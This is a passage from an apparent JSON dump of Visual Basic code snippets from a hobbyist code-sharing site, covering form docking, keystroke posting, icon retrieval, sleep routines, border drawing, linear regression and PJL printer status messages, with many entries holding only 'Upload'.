performed\n End Select\nEnd With\n' Now set the form back to normal\n \nWith vbFormOldRect\n vbForm.Move .vbLeft, .vbTop, .vbWidth, .vbHeight\nEnd With\n\n' Now, update the SystemParams again..\n SystemParametersInfo SPI_SETWORKAREA, 0&, Desktop, SPIF_SENDWININICHANGE\n' And clear LastDock\nLastDock = 0\n \n' And thats it. Should all be good =]\nEnd Sub\nSub DockForm(vbForm As Form, DockPos As DockTypes)\n' Notes - YOU *MUST* run UnDock before closing program\n' otherwise the desktop will remain 'clipped'\nIf LastDock <> 0 Then\n ' form is already docked... you really don't want to dock it somewhere else\n MsgBox \"Please don't re-dock without un-docking.\", vbOKOnly, \"Docking aborted\"\n Exit Sub\nEnd If\n' FIRST, save the RECT of vbForm\nWith vbFormOldRect\n .vbHeight = vbForm.Height\n .vbLeft = vbForm.Left\n .vbTop = vbForm.Top\n .vbWidth = vbForm.Width\nEnd With\nDim Desktop As RECT\n'Get the Current Desktop Work Area\nSystemParametersInfo SPI_GETWORKAREA, 0&, Desktop, 0&\n\n' Now, resize the form to what we want it to be\nDim V As vbRECT\nV = vbFormOldRect ' (aka current window size)\nWith V\n Select Case DockPos\n Case DockLeft\n .vbTop = (Desktop.Top * 15)\n .vbLeft = (Desktop.Left * 15)\n .vbHeight = (Desktop.Bottom * 15) - .vbTop\n \n Case DockRight\n .vbTop = (Desktop.Top * 15)\n .vbLeft = (Desktop.Right * 15) - .vbWidth\n .vbHeight = (Desktop.Bottom * 15) - .vbTop\n \n Case DockBottom\n .vbTop = (Desktop.Bottom * 15) - .vbHeight\n .vbLeft = (Desktop.Left * 15)\n .vbWidth = (Desktop.Right * 15) - .vbLeft\n Case DockTop\n .vbTop = (Desktop.Top * 15)\n .vbLeft = (Desktop.Left * 15)\n .vbWidth = (Desktop.Right * 15) - .vbLeft\n \n Case Else\n Exit Sub\n End Select\n\nEnd With\n \n' Now, Modify the Desktop values\nWith Desktop\n Select Case DockPos\n Case DockBottom\n DockAmount = (vbForm.Height / 15)\n .Bottom = .Bottom - DockAmount\n \n Case DockRight\n DockAmount = (vbForm.Width / 15)\n .Right = .Right - DockAmount\n \n Case DockTop\n DockAmount = (vbForm.Height / 15)\n .Top = .Top + DockAmount\n \n Case DockLeft\n DockAmount = (vbForm.Width / 15)\n .Left = .Left + DockAmount\n \n End Select\nEnd With\n \n' Now all is needed is to Update the sysParams..\nSystemParametersInfo SPI_SETWORKAREA, 0&, Desktop, SPIF_SENDWININICHANGE\n' Note: SPIF_SENDWININICHANGE saves us from using\n' SendMessage HWND_BROADCAST, WM_SETTINGSCHANGE, SPI_SETWORKAREA, Desktop\n' to update all the windows.\n\nWith V\n vbForm.Move .vbLeft, .vbTop, .vbWidth, .vbHeight\nEnd With\n \n' Cool, and it's that simple. Now set the LastDock variable for UnDock.\nLastDock = DockPos\n \nEnd Sub"},{"WorldId":1,"id":14600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14219,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14217,"LineNumber":1,"line":"\nSub SendText(hWnd As Long, Text As String)\n If hWnd = 0 Then MsgBox \"no hWnd supplied\": Exit Sub\n' got hWnd, start sending messages\nDim zwParam As Long ' so no dupe deffs use z infrount =]\nDim zlParam As Long\nDim xwParam As Long ' used for WM_CHAR\nFor I = 1 To Len(Text)\n ' First, get the lParam for WM_KEYDOWN\n zwParam = GetVKCode(Mid$(Text, I, 1))\n xwParam = zwParam And &H20 ' wants Hex20 added to it so A7 goes to C7 and 15 -> 35 (hex values)\n \n zlParam = GetScanCode(Mid$(Text, I, 1))\n PostMessage hWnd, WM_KEYDOWN, zwParam, zlParam\n \n ' Used in notepad, doesn't seem to be used in this example\n 'PostMessage hWnd, WM_CHAR, xwParam, zlParam\n \n ' Used in notepad, but doubles the chars in this example..\n 'zlParam = zlParam And &HC0000000 ' wants hex-C (7x0's) added.\n 'PostMessage hWnd, WM_KEYUP, zwParam, zlParam\n \n DoEvents\nNext\nEnd Sub\n\nFunction GetVKCode(ByVal Char As String) As Long\n On Error Resume Next\n Char = UCase(Left$(Char, 1))\n GetVKCode = Asc(Char)\nEnd Function\n\nFunction GetScanCode(bChar As String) As Long\n' To get scancodes:\n' Start SPY++ on Notepad\n'Type in all chars and then stop SPY++ logging. It will tell you all scancodes\n' recorded during the logging.. long but ah well..\n' Note: Scancode 1E = &H1E0001, 30 = &H300001\n'\n Select Case LCase$(Left$(bChar, 1))\n Case \"a\"\n GetScanCode = &H1E0001\n Case \"b\"\n GetScanCode = &H300001\n Case \"c\"\n GetScanCode = &H2E0001\n Case \"d\"\n GetScanCode = &H200001\n Case \"e\"\n GetScanCode = &H120001\n Case \"f\"\n GetScanCode = &H210001\n Case \"g\"\n GetScanCode = &H220001\n Case \"h\"\n GetScanCode = &H230001\n Case \"i\"\n GetScanCode = &H170001\n Case \"j\"\n GetScanCode = &H240001\n Case \"k\"\n GetScanCode = &H250001\n Case \"l\"\n GetScanCode = &H260001\n Case \"m\"\n GetScanCode = &H320001\n Case \"n\"\n GetScanCode = &H310001\n Case \"o\"\n GetScanCode = &H180001\n Case \"p\"\n GetScanCode = &H190001\n Case \"q\"\n GetScanCode = &H100001\n Case \"r\"\n GetScanCode = &H130001\n Case \"s\"\n GetScanCode = &H1F0001\n Case \"t\"\n GetScanCode = &H140001\n Case \"u\"\n GetScanCode = &H160001\n Case \"v\"\n GetScanCode = &H2F0001\n Case \"w\"\n GetScanCode = &H110001\n Case \"x\"\n GetScanCode = &H2D0001\n Case \"y\"\n GetScanCode = &H150001\n Case \"z\"\n GetScanCode = &H2C0001\n Case Else\n GetScanCode = 0 ' no scode at the mo =(\n End Select\nEnd Function\n"},{"WorldId":1,"id":15030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21024,"LineNumber":1,"line":"<html>\n\n<body>\n<h2 align=\"center\">Fixing PopupMenu Fault when used in\na System Tray Project</h2>\n If you have ever sent your app to the system tray and created a click event to popup a menu using Popupmenu (menuname) you will be aware of the small 'bug'.\n By default, your application WILL NOT be set as the active app so when you call the popupmenu function, it will create the menu out of focus. This means it cannot recieve the 'lost focus' message and will not close when you click somewhere else. This is a very simple thing to fix but nobody seems to use it. All you have to do is set the Form owner of the menu to Focus :) \n\neg: (from standard sys tray form_mousemove event)\n<hr>\n'(place in module) \nPublic Declare Function SetForegroundWindow\n Lib \"user32\" (ByVal hwnd\n As Long) As Long \n\n<hr>\n \n \n'(place in form_mousemove event) \nPrivate Sub Form_MouseMove(Button As\nInteger, Shift As Integer, X\n As Single, Y As\nSingle) \n\n If Me.WindowState\n = vbMinimized then \n \n' window is minimized must be in system tray or MouseMove event would not\nexecute \n Dim\nlngMsg As Long \n Dim result\n As Long \n \n' get the WM Message passed via X \n \n' since X is by default mes. in Twips, \n \n' devide it by the number of twips / pixel \n \n' so we recieve the proper value \n lngMsg = X / Screen.TwipsPerPixelX \n \n Select Case lngMsg \n \ncase WM_RBUTTONUP ' right button \n \nSetForegroundWindow Me.hwnd \n \nPopupmenu Me.mnuFile \n end select \n end if \nend sub\n<hr>\n \n and it's that simple. Can't remember who told me this but thanks if it were ye. :) \n\n</body>\n</html>\n"},{"WorldId":1,"id":15005,"LineNumber":1,"line":"Public Function GetIconHandle(hWnd As Long) As Long\n' OK, This function is confusing\n' Many windows have different ways of handling Icons.\n'---------------------------\n'1. All VB apps use SendMessage(..WM_GETICON..) to get the Icon (not only VB apps)\n'2. Other Programs like GetClassInfoEx(..) (most non-SendMessage Apps)\n'3. Others Like GetClassInfo(..) (Very Rare)\n'4. And the rest like GetClassLong(GCL_HICON) (The rest.)\n'----------------------------\n' Any program that doesn't work with these 4 methods have issues.\n'\n' All apps I have tried work fine with these 4 methods.. one or the other.\n'\n \n'*************************************\n'Method: SendMessage (Small Icon)\n'*************************************\n Dim hIcon As Long\n frmMain.Text1.Text = \"\"\n ' First, Try for the small icon. This would be nice.\n hIcon = SendMessage(hWnd, WM_GETICON, CLng(0), CLng(0))\n \n If hIcon > 0 Then GetIconHandle = hIcon: Exit Function ' found it\n ' Nope, keep trying\n \n \n'*************************************\n'Method: SendMessage (Large Icon)\n'*************************************\n ' Hmm.. No small Icon, Try LARGE icon.\n hIcon = SendMessage(hWnd, WM_GETICON, CLng(1), CLng(0))\n \n If hIcon > 0 Then GetIconHandle = hIcon: Exit Function ' found it\n ' Nope, keep trying\n \n \n'*************************************\n'Method: GetClassInfoEx (Small or Large with Small Pref.)\n'*************************************\n \n Dim ClassName As String\n Dim WCX As WNDCLASSEX\n Dim hInstance As Long\n \n ' First, get the Instance of the Class via GetWindowLong\n hInstance = GetWindowLong(hWnd, GWL_HINSTANCE)\n \n ' Now set the Size Value of WndClassEx\n WCX.cbSize = Len(WCX)\n \n ' Set The ClassName variable to 255 spaces (max len of the class name)\n ClassName = Space(255)\n \n Dim X As Long ' temp variable\n ' Get the Classname of hWnd and put into ClassName (max 255 chars)\n X = GetClassName(hWnd, ClassName, 255)\n \n ' Now Trim the Classname and add a NullChar to the end (reqd. for GetClassInfoEx)\n ClassName = Left$(ClassName, X) & vbNullChar\n \n ' Now, if GetClassInfoEx(..) Returns 0, their was an error. >0 = No probs\n X = GetClassInfoEx(hInstance, ClassName, WCX)\n If X > 0 Then\n ' Returned True\n ' So we should now have both WCX.hIcon and WCX.hIconSm\n If WCX.hIconSm = 0 Then 'No small icon\n hIcon = WCX.hIcon ' No small icon.. Windows should have given default.. weird\n Else\n hIcon = WCX.hIconSm ' Small Icon is better\n End If\n GetIconHandle = hIcon ' found it =]\n Exit Function\n \n End If\n \n \n'*************************************\n'Method: GetClassInfo (Large Icon)\n'*************************************\n \n ' Hmm.. ClassInfoEX failed, Try ClassInfo\n Dim WC As WNDCLASS\n X = GetClassInfo(hInstance, ClassName, WC)\n If X > 0 Then\n ' Woohoo.. dunno why but it liked that\n hIcon = WC.hIcon\n GetIconHandle = hIcon: Exit Function ' Found it\n End If\n \n \n'*************************************\n'Method: GetClassLong (Large Icon)\n'*************************************\n ' Hmm.. One more try\n X = GetClassLong(hWnd, GCL_HICON)\n If X > 0 Then\n ' Yay, about time.. annoying windows.. Example: NOTEPAD\n hIcon = X\n Else\n ' This is most prob a Icon-less window.\n hIcon = 0\n End If\nIf hIcon < 0 Then hIcon = 0 ' Handles must be > 0\nGetIconHandle = hIcon\nEnd Function\n"},{"WorldId":1,"id":15021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33724,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14954,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14457,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24694,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14265,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14340,"LineNumber":1,"line":"\nThe two functions below both sleep for the specified number of seconds. However, the popular code seen in the BusySleep procedure actually causes the CPU load to stay near 100% until complete. The SafeSleep routine pauses without taxing the CPU and stays at nearly 0% CPU.\nBoth functions take a single value so you can sleep for fractions of a second.\n \n<tt>\nPrivate Declare Function MsgWaitForMultipleObjects Lib \"user32\" (ByVal nCount As Long, pHandles As Long, ByVal fWaitAll As Long, ByVal dwMilliseconds As Long, ByVal dwWakeMask As Long) As Long \nPublic Sub SafeSleep(ByVal inWaitSeconds As Single) \n<nbsp><nbsp> Const WAIT_OBJECT_0 As Long = 0 \n<nbsp><nbsp> Const WAIT_TIMEOUT As Long = &H102 \n \n<nbsp><nbsp> Dim lastTick As Single \n<nbsp><nbsp> Dim timeout As Long \n<nbsp><nbsp> timeout = inWaitSeconds * 1000 \n<nbsp><nbsp> lastTick = Timer \n \n<nbsp><nbsp> Do \n<nbsp><nbsp><nbsp><nbsp> Select Case MsgWaitForMultipleObjects(0, 0, False, timeout, 255) \n<nbsp><nbsp><nbsp><nbsp> Case WAIT_OBJECT_0 \n<nbsp><nbsp><nbsp><nbsp> DoEvents \n<nbsp><nbsp><nbsp><nbsp> timeout = ((inWaitSeconds) - (Timer - lastTick)) * 1000 \n<nbsp><nbsp><nbsp><nbsp> If timeout < 0 Then timeout = 0 \n \n<nbsp><nbsp><nbsp><nbsp> Case Else \n<nbsp><nbsp><nbsp><nbsp> Exit Do \n \n<nbsp><nbsp><nbsp><nbsp> End Select \n \n<nbsp><nbsp> Loop While True \n \nEnd Sub \nPublic Sub BusySleep(ByVal inWaitSeconds As Single) \n<nbsp><nbsp> Dim lastTick As Single \n<nbsp><nbsp> lastTick = Timer \n \n<nbsp><nbsp> Do \n<nbsp><nbsp><nbsp><nbsp> DoEvents \n \n<nbsp><nbsp> Loop While (Timer - lastTick) < inWaitSeconds \n \nEnd Sub \n</tt>\n"},{"WorldId":1,"id":14813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23008,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28649,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28790,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14658,"LineNumber":1,"line":"'Put This In Form_MouseDown\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nReleaseCapture\nSendMessage Me.hwnd, &H112, &HF012, 0\nEnd Sub\n"},{"WorldId":1,"id":33517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22908,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22073,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21598,"LineNumber":1,"line":"'######################################################'\n'<<<<<<<<<<<<<-------Borders--------->>>>>>>>>>>>>>>>>>'\n'######################################################'\n'By Daniel Taylor\n'These functions let you put custom borders on any\n'picturebox, form or any other control that can have\n'lines and points drawn on it.\n'Also included is a way to gray out these controls, and\n'to draw centered text on them easily.\n'Use this code however you want, I hate copyrights, not\n'about to put one on here.\n'A lot of the code in each procedure is the same, i tried\n'to make most of it so you just had to cut and paste one\n'function if you didn't want to use the entire module in\n'your own projects. The Layered one uses 1 other function\n'the GetRGB function just after the layered one.\n'This is Pure VB, no extra files or API calls.\n'Setting the Text property to something other than \"\" in\n'the border functions will get you a frame.\nPublic Function Etch(SrcObj As Object, Optional Color1 As OLE_COLOR = &HE0E0E0, Optional Color2 As OLE_COLOR = &H404040, Optional Text As String = \"\", Optional TextColor As OLE_COLOR = 0)\n Dim YPos As Integer, SWidth As Integer, SHeight As Integer\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n 'put to vars, faster\n SWidth = SrcObj.ScaleWidth - 1\n SHeight = SrcObj.ScaleHeight - 1\n 'Check if theres text, if so, it's a frame...\n If Text <> \"\" Then\n YPos = SrcObj.TextHeight(Text) / 2\n Else\n YPos = 0\n End If\n 'oustide\n SrcObj.Line (0, YPos)-(SWidth, YPos), Color2\n SrcObj.Line (0, YPos)-(0, SHeight), Color2\n SrcObj.Line (0, SHeight)-(SWidth, SHeight), Color1\n SrcObj.Line (SWidth, YPos)-(SWidth, SHeight), Color1\n 'inside\n YPos = YPos + 1\n SWidth = SWidth - 1\n SHeight = SHeight - 1\n SrcObj.Line (1, YPos)-(SWidth, YPos), Color1\n SrcObj.Line (1, YPos)-(1, SHeight), Color1\n SrcObj.Line (1, SHeight)-(SWidth, SHeight), Color2\n SrcObj.Line (SWidth, YPos)-(SWidth, SHeight), Color2\n If Text <> \"\" Then\n Dim ForeCHolder\n 'get rid of line where text will be\n SrcObj.Line (4, 0)-(SrcObj.TextWidth(Text) + 6, SrcObj.TextHeight(Text)), SrcObj.BackColor, BF\n 'draw the text\n SrcObj.CurrentX = 5\n SrcObj.CurrentY = 0\n ForeCHolder = SrcObj.ForeColor\n SrcObj.ForeColor = TextColor\n SrcObj.Print Text\n SrcObj.ForeColor = ForeCHolder\n End If\nEnd Function\nPublic Function Out(SrcObj As Object, Optional Color1 As OLE_COLOR = &HE0E0E0, Optional Color2 As OLE_COLOR = &H404040, Optional Text As String = \"\", Optional TextColor As OLE_COLOR = 0)\n Dim YPos As Integer, SWidth As Integer, SHeight As Integer\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n 'put to vars, faster\n SWidth = SrcObj.ScaleWidth - 1\n SHeight = SrcObj.ScaleHeight - 1\n If Text <> \"\" Then\n YPos = SrcObj.TextHeight(Text) / 2\n Else\n YPos = 0\n End If\n 'oustide\n SrcObj.Line (0, YPos)-(SWidth, YPos), Color1\n SrcObj.Line (0, YPos)-(0, SHeight), Color1\n SrcObj.Line (0, SHeight)-(SWidth, SHeight), Color2\n SrcObj.Line (SWidth, YPos)-(SWidth, SHeight), Color2\n If Text <> \"\" Then\n Dim ForeCHolder\n 'get rid of line where text will be\n SrcObj.Line (4, 0)-(SrcObj.TextWidth(Text) + 6, SrcObj.TextHeight(Text)), SrcObj.BackColor, BF\n 'draw the text\n SrcObj.CurrentX = 5\n SrcObj.CurrentY = 0\n ForeCHolder = SrcObj.ForeColor\n SrcObj.ForeColor = TextColor\n SrcObj.Print Text\n SrcObj.ForeColor = ForeCHolder\n End If\nEnd Function\nPublic Function OutLayered(SrcObj As Object, Times As Integer, Optional Color1 As OLE_COLOR = &HE0E0E0, Optional Color2 As OLE_COLOR = &H404040)\n 'For this function we get the RGB value of each involved color and\n 'fade it into the background color slowly, as we move towards the\n 'inside.\n '#########################################################''\n 'This doesn't seem to work right, can anyone fix it and send\n 'me a copy at Dan@nknet.com? Thanks'''''''''''''''''''''''''\n '#########################################################''\n Dim SWidth As Integer, SHeight As Integer, Count As Integer\n Dim Red1 As Integer, Green1 As Integer, Blue1 As Integer\n Dim Red2 As Integer, Green2 As Integer, Blue2 As Integer\n Dim Red3 As Integer, Green3 As Integer, Blue3 As Integer\n Dim Percent As Double, DifR, DifB, DifG, DifR2, DifG2, DifB2\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n 'put to vars, faster\n SWidth = SrcObj.ScaleWidth - 1\n SHeight = SrcObj.ScaleHeight - 1\n GetRGB Color1, Red1, Green1, Blue1\n GetRGB Color2, Red2, Green2, Blue2\n GetRGB SrcObj.BackColor, Red3, Green3, Blue3\n 'get the diference in color to use later\n DifR = Abs(Red1 - Red3)\n DifG = Abs(Green1 - Green3)\n DifB = Abs(Blue1 - Blue3)\n DifR2 = Abs(Red2 - Red3)\n DifG2 = Abs(Green2 - Green3)\n DifB2 = Abs(Blue2 - Blue3)\n 'just draw layer after layer\n For Count = 0 To Times - 1\n Percent = Count / (Times - 1)\n 'get the percent of color mixture between high/low spots\n 'and the backcolor, and use these colors. increases every\n 'time until its the backcolor, supposed to anyway.....\n SrcObj.Line (Count, Count)-(SWidth, Count), RGB((Percent * DifR) + Red1, (Percent * DifG) + Green1, (Percent * DifB) + Blue1)\n SrcObj.Line (Count, Count)-(Count, SHeight), RGB((Percent * DifR) + Red1, (Percent * DifG) + Green1, (Percent * DifB) + Blue1)\n SrcObj.Line (Count, SHeight)-(SWidth + 1, SHeight), RGB((Percent * DifR) + Red2, (Percent * DifG) + Green2, (Percent * DifB) + Blue2)\n SrcObj.Line (SWidth, Count)-(SWidth, SHeight + 1), RGB((Percent * DifR) + Red2, (Percent * DifG) + Green2, (Percent * DifB) + Blue2)\n SWidth = SWidth - 1\n SHeight = SHeight - 1\n Next Count\nEnd Function\nPublic Function GetRGB(Color As OLE_COLOR, Red, Green, Blue)\n 'gets Red, Green, and Blue values of a color\n 'I think i saw this on www.PlanetSourceCode.com\n Red = Color And &HFF\n Green = (Color And &HFF00&) / 255\n Blue = (Color And &HFF0000) / 65536\nEnd Function\nPublic Function DottedLine(SrcObj As Object, Optional Color As OLE_COLOR = &H404040, Optional Interval = 2, Optional Text As String = \"\", Optional TextColor As OLE_COLOR = 0)\n 'this draws a dotted line(can also be solid -> set interval to 0)\n 'by \"stepping\" over a number of pixels and drawing every Nth pixel,\n 'the steps are made with the Interval argument.\n Dim X As Integer, Y As Integer, YPos As Integer\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n If Text <> \"\" Then\n YPos = SrcObj.TextHeight(Text) / 2\n Else\n YPos = 0\n End If\n For X = 0 To SrcObj.ScaleWidth - 1 Step Interval\n SrcObj.PSet (X, YPos), Color\n SrcObj.PSet (X, SrcObj.ScaleHeight - 1), Color\n Next X\n For Y = YPos To SrcObj.ScaleHeight - 1 Step Interval\n SrcObj.PSet (0, Y), Color\n SrcObj.PSet (SrcObj.ScaleWidth - 1, Y), Color\n Next Y\n If Text <> \"\" Then\n Dim ForeCHolder\n 'get rid of line where text will be\n SrcObj.Line (4, 0)-(SrcObj.TextWidth(Text) + 6, SrcObj.TextHeight(Text)), SrcObj.BackColor, BF\n 'draw the text\n SrcObj.CurrentX = 5\n SrcObj.CurrentY = 0\n ForeCHolder = SrcObj.ForeColor\n SrcObj.ForeColor = TextColor\n SrcObj.Print Text\n SrcObj.ForeColor = ForeCHolder\n End If\nEnd Function\nPublic Function GreyOut(SrcObj As Object, Optional Method As Byte = 1, Optional Color As OLE_COLOR = &H808080, Optional Interval As Integer = 2)\n Dim X As Integer, Y As Integer\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n If Method = 1 Then\n 'fill regiona with gray dots at intervals\n For X = 0 To SrcObj.ScaleWidth - 1 Step Interval\n For Y = 0 To SrcObj.ScaleHeight - 1 Step Interval\n SrcObj.PSet (X, Y), Color\n Next Y\n Next X\n Else\n 'fill region using grey mask, sometimes doesn't work...\n Dim DrawModeHolder As Integer\n DrawModeHolder = SrcObj.DrawMode\n SrcObj.DrawMode = 9\n SrcObj.Line (0, 0)-(SrcObj.ScaleWidth, SrcObj.ScaleHeight), Color, BF\n SrcObj.DrawMode = DrawModeHolder\n End If\nEnd Function\nPublic Function CText(SrcObj As Object, Text As String, Optional X = \"Center\", Optional Y = \"Center\")\n 'The easiest way to draw centered text on a form/picturebox/ect...\n 'You can also supply an X and Y coordinate to draw at.\n 'To use, set the objects font to whatever you want and then\n 'use CText, it's that easy!\n Dim X1 As Integer, Y1 As Integer\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n X1 = (SrcObj.ScaleWidth / 2) - (SrcObj.TextWidth(Text) / 2)\n Y1 = (SrcObj.ScaleHeight / 2) - (SrcObj.TextHeight(Text) / 2)\n 'check if text should be centered or not\n If X = \"Center\" Then\n SrcObj.CurrentX = X1\n Else\n SrcObj.CurrentX = X\n End If\n If Y = \"Center\" Then\n SrcObj.CurrentY = Y1\n Else\n SrcObj.CurrentY = Y\n End If\n 'finally draw text to control\n SrcObj.Print Text\nEnd Function\nPublic Function PlainBorder(SrcObj As Object, Optional Color As OLE_COLOR = &H404040, Optional Width = 1, Optional Text As String = \"\", Optional TextColor As OLE_COLOR = 0)\n 'just draw a box around object\n Dim YPos As Integer\n SrcObj.ScaleMode = 3\n SrcObj.AutoRedraw = True\n 'check if its supposed to be a frame...\n If Text <> \"\" Then\n YPos = SrcObj.TextHeight(Text) / 2\n Else\n YPos = 0\n End If\n 'if width is 1 then just draw a box, else fill the entire thing\n 'and delete inside width area\n If Width < 2 Then\n SrcObj.Line (0, YPos)-(SrcObj.ScaleWidth - 1, SrcObj.ScaleHeight - 1), Color, B\n Else\n SrcObj.Line (0, YPos)-(SrcObj.ScaleWidth - 1, SrcObj.ScaleHeight - 1), Color, BF\n SrcObj.Line (Width, YPos + Width)-(SrcObj.ScaleWidth - (1 + Width), SrcObj.ScaleHeight - (1 + Width)), SrcObj.BackColor, BF\n End If\n If Text <> \"\" Then\n Dim ForeCHolder\n 'get rid of line where text will be\n SrcObj.Line (4, 0)-(SrcObj.TextWidth(Text) + 6, SrcObj.TextHeight(Text)), SrcObj.BackColor, BF\n 'draw the text\n SrcObj.CurrentX = 5\n SrcObj.CurrentY = 0\n ForeCHolder = SrcObj.ForeColor\n SrcObj.ForeColor = TextColor\n SrcObj.Print Text\n SrcObj.ForeColor = ForeCHolder\n End If\nEnd Function"},{"WorldId":1,"id":21756,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22488,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14335,"LineNumber":1,"line":"'Call below where auto scroll is intended\nSendMessage MSFG.hwnd, WM_VSCROLL, SB_BOTTOM, 0\n'MSFG is my FlexGrid control, can be changed to ListBox\n"},{"WorldId":1,"id":21249,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14432,"LineNumber":1,"line":"Public Sub LinRegsngArr(ByRef sng_XArray!(), ByRef sng_YArray!(), _\n ByVal lowLimInd&, ByVal uppLimInd&, ByRef Slope!, ByRef YSection!)\n'this Code calculates a linear regression\n'using the points of two Arrays (X,Y) \n'and gives back slope and Y-intersection \n'of the straight line\nDim sng_XSum!, sng_YSum!, sng_XQuad!, sng_YQuad!, sng_XYProd!, sng_Fract!\nDim lng_Index&, ValuesCounts&, sng_Zaehler!\n ValuesCounts = uppLimInd - lowLimInd + 1\n For lng_Index = lowLimInd To uppLimInd\n sng_XSum = sng_XSum + sng_XArray(lng_Index)\n sng_YSum = sng_YSum + sng_YArray(lng_Index)\n sng_XQuad = sng_XQuad + sng_XArray(lng_Index) ^ 2\n sng_YQuad = sng_YQuad + sng_YArray(lng_Index) ^ 2\n sng_XYProd = sng_XYProd + sng_YArray(lng_Index) * sng_XArray(lng_Index)\n Next\n sng_Fract = ValuesCounts * sng_XQuad - sng_XSum ^ 2\n Slope = (ValuesCounts * sng_XYProd - sng_XSum * sng_YSum) / sng_Fract\n YSection = (sng_YSum * sng_XQuad - sng_XSum * sng_XYProd) / sng_Fract\n \nEnd Sub\n"},{"WorldId":1,"id":28486,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26151,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14794,"LineNumber":1,"line":"' PJL.bas - set the status message on PJL printers (HP LaserJet etc)\n'\n' Based on Q154078 at support.microsoft.com which says how to write raw data to the printer\n' and plint (a qbasic program)\n'\nOption Explicit\n'\n' Structure required by StartDocPrinter\n'\nPrivate Type DocInfo\n pDocName As String\n pOutputFile As String\n pDatatype As String\nEnd Type\nDim hPrinter As Long\nDim pjlHeader As String\nDim pjlRdyMsg As String\nDim pjlFooter As String\nPrivate Sub InitEscapeCodes()\n' Private function to setup escape codes\npjlHeader = Chr(27) & \"%-12345X@PJL\" & vbLf\npjlRdyMsg = \"@PJL RDYMSG DISPLAY=\"\npjlFooter = Chr(27) & \"%-12345X\" & vbLf\nEnd Sub\nPublic Sub PJL_OpenPrinter(PrinterName As String)\n' Call this function before you start sending messages\n' Normally set PrinterName to Printer.DeviceName, but you might want to print to the non default printer\nDim MyDoc As DocInfo\nIf OpenPrinter(PrinterName, hPrinter, 0) = 0 Then MsgBox \"Can't print to \" & PrinterName: Exit Sub\nMyDoc.pDocName = \"Document\"\nMyDoc.pOutputFile = vbNullString\nMyDoc.pDatatype = vbNullString\nStartDocPrinter hPrinter, 1, MyDoc\nCall StartPagePrinter(hPrinter)\nInitEscapeCodes\nEnd Sub\nPublic Sub PJL_ClosePrinter()\n' Call this when you have finished writing messages, then they will be spooled\nEndPagePrinter hPrinter\nEndDocPrinter hPrinter\nClosePrinter hPrinter\nhPrinter = Empty\nEnd Sub\nPublic Sub PJL_WriteMessage(message As String)\n' Call this to set a message for the display\n' If string is too long for screen it will chop off the end\n' If you have two lines on your printer the second line is just a continuation of the first\n' If you set it more than once the lines will appear one after the other with 1s delay between them\nDim bDone As Long: Dim pjlCmd As String\nIf hPrinter = Empty Then MsgBox \"Please open the printer first\"\npjlCmd = pjlRdyMsg & Chr(34) & message & Chr(34) & vbLf\nWritePrinter hPrinter, ByVal pjlHeader, Len(pjlHeader), bDone\nWritePrinter hPrinter, ByVal pjlCmd, Len(pjlCmd), bDone\nWritePrinter hPrinter, ByVal pjlFooter, Len(pjlFooter), bDone\nEnd Sub\n"},{"WorldId":1,"id":31349,"LineNumber":1,"line":"Public Sub CreateUDLFile(ConnectionString As String, FileName As String)\n Dim FSO As New Scripting.FileSystemObject\n Dim TXT As Scripting.TextStream\n \n ' Create a File in Unicode-Mode\n Set TXT = FSO.CreateTextFile(FileName, True, True)\n With TXT\n .WriteLine \"[oledb]\"\n ' This line needs to be exactly as it is\n .WriteLine \"; Everything after this line is an OLE DB initstring\"\n .WriteLine ConnectionString\n .Close\n End With\nEnd Sub\n"},{"WorldId":1,"id":31101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34964,"LineNumber":1,"line":"' \n' Have you ever wanted an easy way to change fonts within a print line \n' when 